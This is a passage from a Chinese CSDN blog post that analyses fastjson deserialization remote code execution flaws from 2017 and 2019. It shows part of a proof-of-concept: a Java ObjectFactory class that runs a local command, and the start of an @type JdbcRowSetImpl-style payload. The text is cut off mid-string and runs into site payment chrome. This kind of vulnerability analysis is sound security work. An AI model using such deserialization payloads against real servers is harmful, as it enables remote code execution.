fastjson反序列化0day漏洞分析

本文详细分析了2017年和2019年fastjson的远程执行漏洞,包括攻击流程、POC代码及解决方案。通过@type特性,攻击者可以利用RMI动态类加载进行攻击。Fastjson通过添加类型校验和黑名单防御,但19年的0day漏洞显示仍有绕过可能。建议用户定期更新fastjson版本,关注官方漏洞通知。
摘要由CSDN通过智能技术生成
背景

fastjson号称要做最好的json解析库,但是上半年连续搜收到两份安全部的漏洞警告,很尴尬,因此对fastjson漏洞做了一个简单的研究。本文会分析2017年的远程执行漏洞和2019年上半爆出的0day漏洞。

名词解释: 0day:信息安全意义上的0Day是指在系统商在知晓并发布相关补丁前就被掌握或者公开的漏洞信息。 poc:Proof ofConcept,中文意思是“观点证明”。这个短语会在漏洞报告中使用,漏洞报告中的POC则是一段说明或者一个攻击的样例,使得读者能够确认这个漏洞是真实存在的。


一、2017年的远程执行漏洞

官方链接。17年的这个漏洞相对比较简单,依赖@type的特性可以很容易的对服务器进行攻击。我先展示下poc代码,然后断点查看执行过程,最后总结流程和当时的解决方案。

poc代码
public class Exploit implements ObjectFactory {public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {exec("open /Applications/Calculator.app");return null;}public static void exec(String cmd) {try {Runtime.getRuntime().exec(cmd);} catch (Exception e) {}}
} 
import com.alibaba.fastjson.JSON;

public class Demo {public static void main(String[] args) throws Exception {String payload = "{\"@type\":\"com.sun.rowse
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值